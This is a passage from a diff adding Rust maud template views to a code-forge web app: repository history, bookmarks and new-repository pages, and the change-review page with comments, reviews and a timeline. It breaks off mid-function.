| 427 | + | p { a .btn href=(raw) { "Download" } } | |
| 428 | + | } | |
| 429 | + | } | |
| 430 | + | } | |
| 431 | + | } | |
| 432 | + | } | |
| 433 | + | } | |
| 434 | + | ||
| 435 | + | // ─── Right sidebar: symbols outline ────────────────────────── | |
| 436 | + | @if !extras.symbols.is_empty() { | |
| 437 | + | aside .code-sidebar-right aria-label="Symbol outline" { | |
| 438 | + | div .sidebar-header { | |
| 439 | + | span .label-condensed { "Symbols" } | |
| 440 | + | } | |
| 441 | + | nav .symbol-list { | |
| 442 | + | @for sym in extras.symbols { | |
| 443 | + | a .symbol-item href=(format!("#L{}", sym.line)) { | |
| 444 | + | span .symbol-kind class=(format!("sk-{}", sym.kind.css_class())) { | |
| 445 | + | (sym.kind.label()) | |
| 446 | + | } | |
| 447 | + | span .symbol-name { (sym.name) } | |
| 448 | + | } | |
| 449 | + | } | |
| 450 | + | } | |
| 451 | + | } | |
| 452 | + | } | |
| 453 | + | } | |
| 454 | + | } | |
| 455 | + | } | |
| 456 | + | ||
| 457 | + | pub enum BlobBody<'a> { | |
| 458 | + | Text { | |
| 459 | + | content: &'a str, | |
| 460 | + | lines: usize, | |
| 461 | + | /// Per-line highlighted HTML. Empty when the file rendered plain, and | |
| 462 | + | /// indexed by line so a short list degrades line-by-line rather than | |
| 463 | + | /// misaligning the whole file. | |
| 464 | + | highlighted: &'a [String], | |
| 465 | + | language: Option<&'a str>, | |
| 466 | + | /// Why highlighting was skipped, when it was. | |
| 467 | + | plain_reason: Option<&'a str>, | |
| 468 | + | }, | |
| 469 | + | Binary { size: u64 }, | |
| 470 | + | TooLarge { size: u64, limit: u64 }, | |
| 471 | + | } | |
| 472 | + | ||
| 473 | + | /// Commit log. | |
| 474 | + | pub fn log_view(ctx: &RepoContext, rev_label: &str, revisions: &[Revision]) -> Markup { | |
| 475 | + | let base = ctx.base(); | |
| 476 | + | html! { | |
| 477 | + | div .panel { | |
| 478 | + | div .row style="margin-bottom:12px" { | |
| 479 | + | span .label-condensed { "History" } | |
| 480 | + | span .chip { (rev_label) } | |
| 481 | + | } | |
| 482 | + | @if revisions.is_empty() { | |
| 483 | + | p .dim { "No history." } | |
| 484 | + | } @else { | |
| 485 | + | div .stack style="gap:0" { | |
| 486 | + | @for r in revisions { | |
| 487 | + | div style="padding:10px 0;border-bottom:1px solid var(--border)" { | |
| 488 | + | div .row { | |
| 489 | + | a href=(format!("{base}/tree/{}/", r.rev)) { (r.summary()) } | |
| 490 | + | @if r.conflicted { | |
| 491 | + | span .badge.badge-conflict { "conflict" } | |
| 492 | + | } | |
| 493 | + | } | |
| 494 | + | div .row style="margin-top:4px;gap:8px" { | |
| 495 | + | // The change id is the identity; the revision is | |
| 496 | + | // a point in its history (spec §4). | |
| 497 | + | @if let Some(c) = &r.change_id { | |
| 498 | + | span .chip.chip-change title="jj change id" { | |
| 499 | + | (&c[..12.min(c.len())]) | |
| 500 | + | } | |
| 501 | + | } @else { | |
| 502 | + | span .chip title="authored with plain git" { "git" } | |
| 503 | + | } | |
| 504 | + | span .faint { (r.author.name) } | |
| 505 | + | span .faint { (r.author.when.format("%Y-%m-%d %H:%M").to_string()) } | |
| 506 | + | } | |
| 507 | + | } | |
| 508 | + | } | |
| 509 | + | } | |
| 510 | + | } | |
| 511 | + | } | |
| 512 | + | } | |
| 513 | + | } | |
| 514 | + | ||
| 515 | + | /// Bookmark list. | |
| 516 | + | pub fn bookmarks_view(ctx: &RepoContext, marks: &[Bookmark]) -> Markup { | |
| 517 | + | let base = ctx.base(); | |
| 518 | + | html! { | |
| 519 | + | div .panel { | |
| 520 | + | h2 { "Bookmarks" } | |
| 521 | + | p .dim { | |
| 522 | + | "Bookmarks are movable pointers, not identities. Reviews attach to changes." | |
| 523 | + | } | |
| 524 | + | @if marks.is_empty() { | |
| 525 | + | p .dim { "No bookmarks yet." } | |
| 526 | + | } @else { | |
| 527 | + | table style="width:100%;border-collapse:collapse" { | |
| 528 | + | tbody { | |
| 529 | + | @for m in marks { | |
| 530 | + | tr { | |
| 531 | + | td style="padding:8px 4px;border-bottom:1px solid var(--border)" { | |
| 532 | + | a href=(format!("{base}/tree/{}/", m.name)) { (m.name) } | |
| 533 | + | @if m.name == ctx.repo.default_bookmark { | |
| 534 | + | span .chip style="margin-left:8px" { "default" } | |
| 535 | + | } | |
| 536 | + | } | |
| 537 | + | } | |
| 538 | + | } | |
| 539 | + | } | |
| 540 | + | } | |
| 541 | + | } | |
| 542 | + | } | |
| 543 | + | } | |
| 544 | + | } | |
| 545 | + | ||
| 546 | + | /// New-repository form. | |
| 547 | + | pub fn new_repo_form(csrf: &str, error: Option<&str>, owners: &[String]) -> Markup { | |
| 548 | + | html! { | |
| 549 | + | div .panel { | |
| 550 | + | h1 { "New repository" } | |
| 551 | + | @if let Some(e) = error { | |
| 552 | + | div .banner.banner-error role="alert" { (e) } | |
| 553 | + | } | |
| 554 | + | form method="post" action="/repos" { | |
| 555 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 556 | + | ||
| 557 | + | div .field { | |
| 558 | + | label for="owner" { "Owner" } | |
| 559 | + | select id="owner" name="owner" | |
| 560 | + | style="padding:7px 10px;background:var(--bg);border:1px solid var(--border-strong);border-radius:var(--radius);color:var(--text);font:inherit" { | |
| 561 | + | @for o in owners { | |
| 562 | + | option value=(o) { (o) } | |
| 563 | + | } | |
| 564 | + | } | |
| 565 | + | } | |
| 566 | + | ||
| 567 | + | div .field { | |
| 568 | + | label for="name" { "Repository name" } | |
| 569 | + | input type="text" id="name" name="name" required | |
| 570 | + | maxlength="100" pattern="[A-Za-z0-9][A-Za-z0-9._\\-]*" | |
| 571 | + | autocomplete="off" autofocus; | |
| 572 | + | p .hint { "Letters, digits, dots, hyphens and underscores." } | |
| 573 | + | } | |
| 574 | + | ||
| 575 | + | div .field { | |
| 576 | + | label for="description" { "Description (optional)" } | |
| 577 | + | input type="text" id="description" name="description" maxlength="500"; | |
| 578 | + | } | |
| 579 | + | ||
| 580 | + | div .field { | |
| 581 | + | label for="default_bookmark" { "Default bookmark" } | |
| 582 | + | input type="text" id="default_bookmark" name="default_bookmark" | |
| 583 | + | value="main" maxlength="100" required; | |
| 584 | + | } | |
| 585 | + | ||
| 586 | + | div .field { | |
| 587 | + | label { | |
| 588 | + | input type="checkbox" name="private" value="1" checked | |
| 589 | + | style="width:auto;margin-right:8px"; | |
| 590 | + | "Private" | |
| 591 | + | } | |
| 592 | + | } | |
| 593 | + | ||
| 594 | + | button .btn.btn-primary type="submit" { "Create repository" } | |
| 595 | + | } | |
| 596 | + | } | |
| 597 | + | } | |
| 598 | + | } | |
| 599 | + | ||
| 600 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 601 | + | ||
| 602 | + | fn entry_link(base: &str, rev: &str, e: &TreeEntry) -> String { | |
| 603 | + | let kind = if e.is_dir() { "tree" } else { "blob" }; | |
| 604 | + | format!("{base}/{kind}/{rev}/{}", e.path) | |
| 605 | + | } | |
| 606 | + | ||
| 607 | + | fn parent_link(base: &str, rev: &str, path: &str) -> String { | |
| 608 | + | let parent = match path.rsplit_once('/') { | |
| 609 | + | Some((p, _)) => p, | |
| 610 | + | None => "", | |
| 611 | + | }; | |
| 612 | + | format!("{base}/tree/{rev}/{parent}") | |
| 613 | + | } | |
| 614 | + | ||
| 615 | + | pub fn breadcrumbs(base: &str, rev: &str, path: &str) -> Markup { | |
| 616 | + | html! { | |
| 617 | + | span { | |
| 618 | + | a href=(format!("{base}/tree/{rev}/")) { "root" } | |
| 619 | + | @for (label, acc) in df_store::path::breadcrumbs(path) { | |
| 620 | + | span .faint { " / " } | |
| 621 | + | a href=(format!("{base}/tree/{rev}/{acc}")) { (label) } | |
| 622 | + | } | |
| 623 | + | } | |
| 624 | + | } | |
| 625 | + | } | |
| 626 | + | ||
| 627 | + | /// Human-readable byte count. | |
| 628 | + | pub fn human_size(n: u64) -> String { | |
| 629 | + | const UNITS: [&str; 5] = ["B", "KB", "MB", "GB", "TB"]; | |
| 630 | + | let mut v = n as f64; | |
| 631 | + | let mut i = 0; | |
| 632 | + | while v >= 1024.0 && i < UNITS.len() - 1 { | |
| 633 | + | v /= 1024.0; | |
| 634 | + | i += 1; | |
| 635 | + | } | |
| 636 | + | if i == 0 { | |
| 637 | + | format!("{n} B") | |
| 638 | + | } else { | |
| 639 | + | format!("{v:.1} {}", UNITS[i]) | |
| 640 | + | } | |
| 641 | + | } | |
| 642 | + | ||
| 643 | + | /// Markdown that has already been sanitised by `df-render`. | |
| 644 | + | pub fn rendered_markdown(html_str: &str) -> Markup { | |
| 645 | + | PreEscaped(html_str.to_string()) | |
| 646 | + | } | |
| 647 | + | ||
| 648 | + | #[cfg(test)] | |
| 649 | + | mod tests { | |
| 650 | + | use super::*; | |
| 651 | + | ||
| 652 | + | #[test] | |
| 653 | + | fn human_size_is_readable() { | |
| 654 | + | assert_eq!(human_size(0), "0 B"); | |
| 655 | + | assert_eq!(human_size(512), "512 B"); | |
| 656 | + | assert_eq!(human_size(1024), "1.0 KB"); | |
| 657 | + | assert_eq!(human_size(1536), "1.5 KB"); | |
| 658 | + | assert_eq!(human_size(1024 * 1024), "1.0 MB"); | |
| 659 | + | } | |
| 660 | + | ||
| 661 | + | #[test] | |
| 662 | + | fn parent_link_walks_up_one_level() { | |
| 663 | + | assert_eq!(parent_link("/o/r", "main", "a/b/c"), "/o/r/tree/main/a/b"); | |
| 664 | + | assert_eq!(parent_link("/o/r", "main", "a"), "/o/r/tree/main/"); | |
| 665 | + | } | |
| 666 | + | } | |
Acrates/df-web/src/views/review.rs888 lines+888−0
| @@ −0,0 +1,888 @@ | |||
| 1 | + | //! Change detail: overview, files, revisions, conflicts, and the stack graph | |
| 2 | + | //! (M3, M4). | |
| 3 | + | //! | |
| 4 | + | //! Everything here renders standalone. The comment forms are ordinary POSTs to | |
| 5 | + | //! ordinary URLs, so a reviewer with JavaScript disabled can read a diff and | |
| 6 | + | //! leave an inline comment — which spec §7 makes a hard requirement, and which | |
| 7 | + | //! is the single easiest thing to lose when a diff view grows interactive. | |
| 8 | + | //! | |
| 9 | + | //! htmx enhances two things and nothing else: posting a comment swaps just its | |
| 10 | + | //! thread, and expanding collapsed context fetches only the extra lines. | |
| 11 | + | ||
| 12 | + | use chrono::{DateTime, Utc}; | |
| 13 | + | use maud::{html, Markup, PreEscaped}; | |
| 14 | + | use uuid::Uuid; | |
| 15 | + | ||
| 16 | + | use df_store::{ConflictedFile, Diff, DiffLineKind, DiffSpan}; | |
| 17 | + | ||
| 18 | + | use crate::repo_ctx::RepoContext; | |
| 19 | + | use crate::views::change::{change_chip, state_badge}; | |
| 20 | + | ||
| 21 | + | // ─── shared shape ──────────────────────────────────────────────────────────── | |
| 22 | + | ||
| 23 | + | /// Everything the change pages need about the change itself. | |
| 24 | + | pub struct ChangeHead<'a> { | |
| 25 | + | pub number: i64, | |
| 26 | + | pub change_id: &'a str, | |
| 27 | + | pub synthetic: bool, | |
| 28 | + | pub title: &'a str, | |
| 29 | + | pub state: &'a str, | |
| 30 | + | pub conflicted: bool, | |
| 31 | + | pub target_bookmark: &'a str, | |
| 32 | + | pub author: Option<&'a str>, | |
| 33 | + | pub revision_count: usize, | |
| 34 | + | /// Whether the viewer may edit the change (author or maintainer). | |
| 35 | + | pub can_manage: bool, | |
| 36 | + | pub can_comment: bool, | |
| 37 | + | pub csrf: &'a str, | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | /// Header and tab bar, shared by every change page. | |
| 41 | + | pub fn header(ctx: &RepoContext, c: &ChangeHead<'_>, tab: &str) -> Markup { | |
| 42 | + | let base = format!("{}/changes/{}", ctx.base(), c.number); | |
| 43 | + | ||
| 44 | + | html! { | |
| 45 | + | div .panel { | |
| 46 | + | div .row { | |
| 47 | + | (state_badge(c.state, c.conflicted)) | |
| 48 | + | h1 style="margin:0" { (c.title) } | |
| 49 | + | } | |
| 50 | + | div .row style="margin-top:8px;gap:10px" { | |
| 51 | + | (change_chip(c.change_id, c.synthetic)) | |
| 52 | + | span .faint { "#" (c.number) } | |
| 53 | + | @if let Some(a) = c.author { span .faint { "by " (a) } } | |
| 54 | + | span .faint { "into" } | |
| 55 | + | span .chip { (c.target_bookmark) } | |
| 56 | + | @if c.revision_count > 1 { | |
| 57 | + | span .faint title="revisions of this change" { | |
| 58 | + | (c.revision_count) " revisions" | |
| 59 | + | } | |
| 60 | + | } | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | nav .subtabs style="margin-top:14px;margin-bottom:0" aria-label="Change sections" { | |
| 64 | + | a href=(base.clone()) .active[tab == "overview"] | |
| 65 | + | aria-current=[(tab == "overview").then_some("page")] { "Overview" } | |
| 66 | + | a href=(format!("{base}/files")) .active[tab == "files"] | |
| 67 | + | aria-current=[(tab == "files").then_some("page")] { "Files" } | |
| 68 | + | a href=(format!("{base}/revisions")) .active[tab == "revisions"] | |
| 69 | + | aria-current=[(tab == "revisions").then_some("page")] { "Revisions" } | |
| 70 | + | @if c.conflicted { | |
| 71 | + | a href=(format!("{base}/conflicts")) .active[tab == "conflicts"] | |
| 72 | + | aria-current=[(tab == "conflicts").then_some("page")] { "Conflicts" } | |
| 73 | + | } | |
| 74 | + | a href=(format!("{}/stacks/{}", ctx.base(), c.change_id)) { "Stack" } | |
| 75 | + | } | |
| 76 | + | } | |
| 77 | + | } | |
| 78 | + | } | |
| 79 | + | ||
| 80 | + | // ─── overview ──────────────────────────────────────────────────────────────── | |
| 81 | + | ||
| 82 | + | pub struct CommentRow { | |
| 83 | + | pub id: Uuid, | |
| 84 | + | pub author: String, | |
| 85 | + | pub body_html: String, | |
| 86 | + | pub created_at: DateTime<Utc>, | |
| 87 | + | pub edited: bool, | |
| 88 | + | pub anchor_path: Option<String>, | |
| 89 | + | pub anchor_line: Option<i32>, | |
| 90 | + | /// `old` or `new`. Stored and loaded because a comment on a deleted line is | |
| 91 | + | /// a different thing from one on an added line, and losing that on the way | |
| 92 | + | /// in would be unrecoverable — the diff view currently anchors on the new | |
| 93 | + | /// side only, so nothing reads it yet. | |
| 94 | + | #[allow(dead_code)] | |
| 95 | + | pub anchor_side: Option<String>, | |
| 96 | + | pub anchor_state: String, | |
| 97 | + | pub anchor_context: Option<String>, | |
| 98 | + | pub resolved: bool, | |
| 99 | + | } | |
| 100 | + | ||
| 101 | + | pub struct ReviewRow { | |
| 102 | + | pub reviewer: String, | |
| 103 | + | pub verdict: String, | |
| 104 | + | pub body_html: String, | |
| 105 | + | pub created_at: DateTime<Utc>, | |
| 106 | + | /// The revision the review was left against, abbreviated. | |
| 107 | + | pub rev: String, | |
| 108 | + | /// Whether that revision is still the head — a stale approval is one of the | |
| 109 | + | /// things stable change identity makes visible, so it is worth saying. | |
| 110 | + | pub is_head: bool, | |
| 111 | + | } | |
| 112 | + | ||
| 113 | + | pub struct EventRow { | |
| 114 | + | pub kind: String, | |
| 115 | + | pub actor: Option<String>, | |
| 116 | + | pub created_at: DateTime<Utc>, | |
| 117 | + | pub payload: serde_json::Value, | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | pub struct Overview<'a> { | |
| 121 | + | pub description_html: &'a str, | |
| 122 | + | pub description_raw: &'a str, | |
| 123 | + | pub comments: &'a [CommentRow], | |
| 124 | + | /// Inline comments whose anchor no longer exists. Spec §5 step 5: surface | |
| 125 | + | /// them in the overview timeline rather than losing them in the diff. | |
| 126 | + | pub orphaned: &'a [CommentRow], | |
| 127 | + | pub reviews: &'a [ReviewRow], | |
| 128 | + | pub events: &'a [EventRow], | |
| 129 | + | /// Whether the viewer already reviewed the head revision. | |
| 130 | + | pub viewer_reviewed: bool, | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | pub fn overview(ctx: &RepoContext, c: &ChangeHead<'_>, o: Overview<'_>) -> Markup { | |
| 134 | + | let base = format!("{}/changes/{}", ctx.base(), c.number); | |
| 135 | + | ||
| 136 | + | html! { | |
| 137 | + | @if c.synthetic { | |
| 138 | + | div .panel { | |
| 139 | + | div .banner { | |
| 140 | + | "This change was authored with plain " code { "git" } | |
| 141 | + | ". Its identity is derived from the patch, so it survives a rebase — \ | |
| 142 | + | but it is not a jj change id, and revision history is best-effort." | |
| 143 | + | } | |
| 144 | + | } | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | div .panel { | |
| 148 | + | h2 { "Description" } | |
| 149 | + | @if o.description_raw.is_empty() { | |
| 150 | + | p .hint { "No description." } | |
| 151 | + | } @else { | |
| 152 | + | div .markdown-body { (PreEscaped(o.description_html)) } | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | @if c.can_manage { | |
| 156 | + | details style="margin-top:14px" { | |
| 157 | + | summary { "Edit" } | |
| 158 | + | form method="post" action=(format!("{base}/edit")) .stack style="margin-top:12px" { | |
| 159 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 160 | + | div .field { | |
| 161 | + | label for="title" { "Title" } | |
| 162 | + | input type="text" id="title" name="title" value=(c.title) required maxlength="300"; | |
| 163 | + | } | |
| 164 | + | div .field { | |
| 165 | + | label for="description" { "Description" } | |
| 166 | + | textarea id="description" name="description" rows="6" { (o.description_raw) } | |
| 167 | + | } | |
| 168 | + | button .btn.btn-primary type="submit" { "Save" } | |
| 169 | + | } | |
| 170 | + | } | |
| 171 | + | } | |
| 172 | + | } | |
| 173 | + | ||
| 174 | + | @if !o.reviews.is_empty() { | |
| 175 | + | div .panel { | |
| 176 | + | h2 { "Reviews" } | |
| 177 | + | div .stack { | |
| 178 | + | @for r in o.reviews { | |
| 179 | + | div .row { | |
| 180 | + | (verdict_badge(&r.verdict)) | |
| 181 | + | strong { (r.reviewer) } | |
| 182 | + | span .faint { (r.created_at.format("%Y-%m-%d").to_string()) } | |
| 183 | + | span .faint .mono { (r.rev) } | |
| 184 | + | @if !r.is_head { | |
| 185 | + | span .chip title="left against an earlier revision of this change" { | |
| 186 | + | "stale" | |
| 187 | + | } | |
| 188 | + | } | |
| 189 | + | } | |
| 190 | + | @if !r.body_html.is_empty() { | |
| 191 | + | div .markdown-body style="margin:4px 0 12px 0" { (PreEscaped(&r.body_html)) } | |
| 192 | + | } | |
| 193 | + | } | |
| 194 | + | } | |
| 195 | + | } | |
| 196 | + | } | |
| 197 | + | ||
| 198 | + | @if !o.orphaned.is_empty() { | |
| 199 | + | div .panel { | |
| 200 | + | h2 { "Comments without a home" } | |
| 201 | + | p .dim { | |
| 202 | + | "These inline comments were anchored to code that no longer exists in \ | |
| 203 | + | the change. They are kept here rather than discarded." | |
| 204 | + | } | |
| 205 | + | div .stack { | |
| 206 | + | @for cm in o.orphaned { (comment(cm, c, &base, true)) } | |
| 207 | + | } | |
| 208 | + | } | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | div .panel { | |
| 212 | + | h2 { "Discussion" } | |
| 213 | + | @if o.comments.is_empty() && o.events.is_empty() { | |
| 214 | + | p .hint { "Nothing yet." } | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | div .stack { (timeline(o.events, o.comments, c, &base)) } | |
| 218 | + | ||
| 219 | + | @if c.can_comment { | |
| 220 | + | form method="post" action=(format!("{base}/comments")) .stack style="margin-top:20px" { | |
| 221 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 222 | + | div .field { | |
| 223 | + | label for="body" { "Comment" } | |
| 224 | + | textarea id="body" name="body" rows="4" required | |
| 225 | + | placeholder="Markdown is supported." {} | |
| 226 | + | } | |
| 227 | + | button .btn.btn-primary type="submit" { "Comment" } | |
| 228 | + | } | |
| 229 | + | } @else { | |
| 230 | + | p .hint { "Sign in to join the discussion." } | |
| 231 | + | } | |
| 232 | + | } | |
| 233 | + | ||
| 234 | + | @if c.can_comment { | |
| 235 | + | div .panel { | |
| 236 | + | h2 { "Review" } | |
| 237 | + | @if o.viewer_reviewed { | |
| 238 | + | p .hint { | |
| 239 | + | "You have already reviewed the current revision. Submitting again \ | |
| 240 | + | records a new review against it." | |
| 241 | + | } | |
| 242 | + | } | |
| 243 | + | form method="post" action=(format!("{base}/reviews")) .stack { | |
| 244 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 245 | + | fieldset style="border:none;padding:0;margin:0" { | |
| 246 | + | legend .label-condensed { "Verdict" } | |
| 247 | + | @for (value, label) in [ | |
| 248 | + | ("comment", "Comment — no verdict"), | |
| 249 | + | ("approve", "Approve"), | |
| 250 | + | ("request_changes", "Request changes"), | |
| 251 | + | ] { | |
| 252 | + | div .field style="margin:2px 0" { | |
| 253 | + | label { | |
| 254 | + | input type="radio" name="verdict" value=(value) | |
| 255 | + | checked[value == "comment"]; | |
| 256 | + | " " (label) | |
| 257 | + | } | |
| 258 | + | } | |
| 259 | + | } | |
| 260 | + | } | |
| 261 | + | div .field { | |
| 262 | + | label for="review_body" { "Summary" } | |
| 263 | + | textarea id="review_body" name="body" rows="3" {} | |
| 264 | + | } | |
| 265 | + | button .btn.btn-primary type="submit" { "Submit review" } | |
| 266 | + | } | |
| 267 | + | } | |
| 268 | + | } | |
| 269 | + | ||
| 270 | + | @if c.can_manage { | |
| 271 | + | (actions(c, &base)) | |
| 272 | + | } | |
| 273 | + | } | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | /// Draft toggle, abandon/reopen, and merge. | |
| 277 | + | fn actions(c: &ChangeHead<'_>, base: &str) -> Markup { | |
| 278 | + | html! { | |
| 279 | + | div .panel { | |
| 280 | + | h2 { "Actions" } | |
| 281 | + | div .row style="gap:10px;flex-wrap:wrap" { | |
| 282 | + | // Draft is the author's own flag and is never inferred from | |
| 283 | + | // pushed metadata (decided; the indexer must not overwrite it). | |
| 284 | + | form method="post" action=(format!("{base}/state")) { | |
| 285 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 286 | + | input type="hidden" name="state" | |
| 287 | + | value=(if c.state == "draft" { "open" } else { "draft" }); | |
| 288 | + | button .btn type="submit" { | |
| 289 | + | @if c.state == "draft" { "Mark ready for review" } @else { "Convert to draft" } | |
| 290 | + | } | |
| 291 | + | } | |
| 292 | + | ||
| 293 | + | @if c.state == "abandoned" { | |
| 294 | + | form method="post" action=(format!("{base}/state")) { | |
| 295 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 296 | + | input type="hidden" name="state" value="open"; | |
| 297 | + | button .btn type="submit" { "Reopen" } | |
| 298 | + | } | |
| 299 | + | } @else if c.state != "merged" { | |
| 300 | + | form method="post" action=(format!("{base}/state")) { | |
| 301 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 302 | + | input type="hidden" name="state" value="abandoned"; | |
| 303 | + | button .btn type="submit" { "Abandon" } | |
| 304 | + | } | |
| 305 | + | } | |
| 306 | + | ||
| 307 | + | @if c.state == "open" && !c.conflicted { | |
| 308 | + | form method="post" action=(format!("{base}/merge")) { | |
| 309 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 310 | + | button .btn.btn-primary type="submit" { | |
| 311 | + | "Merge into " (c.target_bookmark) | |
| 312 | + | } | |
| 313 | + | } | |
| 314 | + | } | |
| 315 | + | } | |
| 316 | + | @if c.conflicted { | |
| 317 | + | p .hint { | |
| 318 | + | "A conflicted change cannot be merged. Resolve the conflict in your \ | |
| 319 | + | working copy and push again." | |
| 320 | + | } | |
| 321 | + | } | |
| 322 | + | } | |
| 323 | + | } | |
| 324 | + | } | |
| 325 | + | ||
| 326 | + | /// Interleave events and top-level comments in one chronological list. | |
| 327 | + | fn timeline( | |
| 328 | + | events: &[EventRow], | |
| 329 | + | comments: &[CommentRow], | |
| 330 | + | c: &ChangeHead<'_>, | |
| 331 | + | base: &str, | |
| 332 | + | ) -> Markup { | |
| 333 | + | enum Item<'a> { | |
| 334 | + | Event(&'a EventRow), | |
| 335 | + | Comment(&'a CommentRow), | |
| 336 | + | } | |
| 337 | + | ||
| 338 | + | let mut items: Vec<(DateTime<Utc>, Item<'_>)> = Vec::new(); | |
| 339 | + | items.extend(events.iter().map(|e| (e.created_at, Item::Event(e)))); | |
| 340 | + | items.extend(comments.iter().map(|cm| (cm.created_at, Item::Comment(cm)))); | |
| 341 | + | items.sort_by_key(|(t, _)| *t); | |
| 342 | + | ||
| 343 | + | html! { | |
| 344 | + | @for (_, item) in &items { | |
| 345 | + | @match item { | |
| 346 | + | Item::Comment(cm) => (comment(cm, c, base, false)), | |
| 347 | + | Item::Event(e) => { | |
| 348 | + | div .row .timeline-event { | |
| 349 | + | span .timeline-dot.(event_dot_class(&e.kind)) aria-hidden="true" {} | |
| 350 | + | span .faint { (event_text(e)) } | |
| 351 | + | span .faint style="margin-left:auto" { | |
| 352 | + | (e.created_at.format("%Y-%m-%d %H:%M").to_string()) | |
| 353 | + | } | |
| 354 | + | } | |
| 355 | + | } | |
| 356 | + | } | |
| 357 | + | } | |
| 358 | + | } | |
| 359 | + | } | |
| 360 | + | ||
| 361 | + | /// One comment. | |
| 362 | + | pub fn comment(cm: &CommentRow, c: &ChangeHead<'_>, base: &str, show_anchor: bool) -> Markup { | |
| 363 | + | html! { | |
| 364 | + | div .comment id=(format!("comment-{}", cm.id)) { | |
| 365 | + | div .row { | |
| 366 | + | strong { (cm.author) } | |
| 367 | + | span .faint { (cm.created_at.format("%Y-%m-%d %H:%M").to_string()) } | |
| 368 | + | @if cm.edited { span .faint { "edited" } } | |
| 369 | + | @if cm.anchor_state == "outdated" { | |
| 370 | + | span .chip title="the line this was written about has changed" { "outdated" } | |
| 371 | + | } | |
| 372 | + | @if cm.anchor_state == "orphaned" { | |
| 373 | + | span .chip title="the code this was written about is gone" { "orphaned" } | |
| 374 | + | } | |
| 375 | + | @if cm.resolved { span .chip { "resolved" } } | |
| 376 | + | } | |
| 377 | + | ||
| 378 | + | @if show_anchor { | |
| 379 | + | @if let Some(p) = &cm.anchor_path { | |
| 380 | + | div .row .faint style="margin-top:4px;gap:6px" { | |
| 381 | + | span .mono { (p) } | |
| 382 | + | @if let Some(l) = cm.anchor_line { span { ":" (l) } } | |
| 383 | + | } | |
| 384 | + | } | |
| 385 | + | @if let Some(ctx_line) = &cm.anchor_context { | |
| 386 | + | // The original line, retained so an outdated or orphaned | |
| 387 | + | // comment still reads as being about something (spec §5). | |
| 388 | + | pre .anchor-context { code { (ctx_line) } } | |
| 389 | + | } | |
| 390 | + | } | |
| 391 | + | ||
| 392 | + | div .comment-body.markdown-body { (PreEscaped(&cm.body_html)) } | |
| 393 | + | ||
| 394 | + | @if c.can_manage && !cm.resolved && cm.anchor_path.is_some() { | |
| 395 | + | form method="post" action=(format!("{base}/comments/{}/resolve", cm.id)) { | |
| 396 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 397 | + | button .btn type="submit" { "Resolve" } | |
| 398 | + | } | |
| 399 | + | } | |
| 400 | + | } | |
| 401 | + | } | |
| 402 | + | } | |
| 403 | + | ||
| 404 | + | fn verdict_badge(v: &str) -> Markup { | |
| 405 | + | html! { | |
| 406 | + | @match v { | |
| 407 | + | "approve" => span .badge.badge-open { "approved" }, | |
| 408 | + | "request_changes" => span .badge.badge-conflict { "changes requested" }, | |
| 409 | + | _ => span .chip { "commented" }, | |
| 410 | + | } | |
| 411 | + | } | |
| 412 | + | } | |
| 413 | + | ||
| 414 | + | /// Human text for a timeline event. | |
| 415 | + | /// | |
| 416 | + | /// Unknown kinds render their raw kind rather than being dropped: an event the | |
| 417 | + | /// UI does not recognise still happened, and hiding it would make the timeline | |
| 418 | + | /// quietly lie. | |
| 419 | + | /// Which state colour an event's kind reads as, in the timeline dot. | |
| 420 | + | /// | |
| 421 | + | /// Mirrors the grouping the design uses for its timeline markers: conflict | |
| 422 | + | /// states get the conflict colour, anything that lands a change gets the | |
| 423 | + | /// merged/open colours, and routine events (pushes, rebases) stay neutral. | |
| 424 | + | fn event_dot_class(kind: &str) -> &'static str { | |
| 425 | + | match kind { | |
| 426 | + | "change.conflicted" => "timeline-dot-conflict", | |
| 427 | + | "change.resolved" | "change.merged" => "timeline-dot-merged", | |
| 428 | + | "change.opened" | "change.reopened" | "change.ready" => "timeline-dot-open", | |
| 429 | + | "change.abandoned" => "timeline-dot-abandoned", | |
| 430 | + | "change.reviewed" => "timeline-dot-action", | |
| 431 | + | _ => "timeline-dot-dim", | |
| 432 | + | } | |
| 433 | + | } | |
| 434 | + | ||
| 435 | + | fn event_text(e: &EventRow) -> String { | |
| 436 | + | let who = e.actor.as_deref().unwrap_or("someone"); | |
| 437 | + | let n = |k: &str| e.payload.get(k).and_then(|v| v.as_str()).unwrap_or(""); | |
| 438 | + | ||
| 439 | + | match e.kind.as_str() { | |
| 440 | + | "change.opened" => format!("{who} opened this change"), | |
| 441 | + | "change.pushed" => { | |
| 442 | + | let rev = n("rev"); | |
| 443 | + | if rev.is_empty() { | |
| 444 | + | format!("{who} pushed a new revision") | |
| 445 | + | } else { | |
| 446 | + | format!("{who} pushed revision {}", df_store::abbreviate_rev(rev)) | |
| 447 | + | } | |
| 448 | + | } | |
| 449 | + | "change.rebased" => format!("{who} rewrote this change"), | |
| 450 | + | "change.conflicted" => "this change became conflicted".into(), | |
| 451 | + | "change.resolved" => "the conflict was resolved".into(), | |
| 452 | + | "change.merged" => format!("{who} merged this into {}", n("bookmark")), | |
| 453 | + | "change.abandoned" => format!("{who} abandoned this change"), | |
| 454 | + | "change.reopened" => format!("{who} reopened this change"), | |
| 455 | + | "change.drafted" => format!("{who} converted this to a draft"), | |
| 456 | + | "change.ready" => format!("{who} marked this ready for review"), | |
| 457 | + | "change.reviewed" => format!("{who} reviewed this change"), | |
| 458 | + | "comments.rebased" => { | |
| 459 | + | let n_out = e.payload.get("outdated").and_then(|v| v.as_i64()).unwrap_or(0); | |
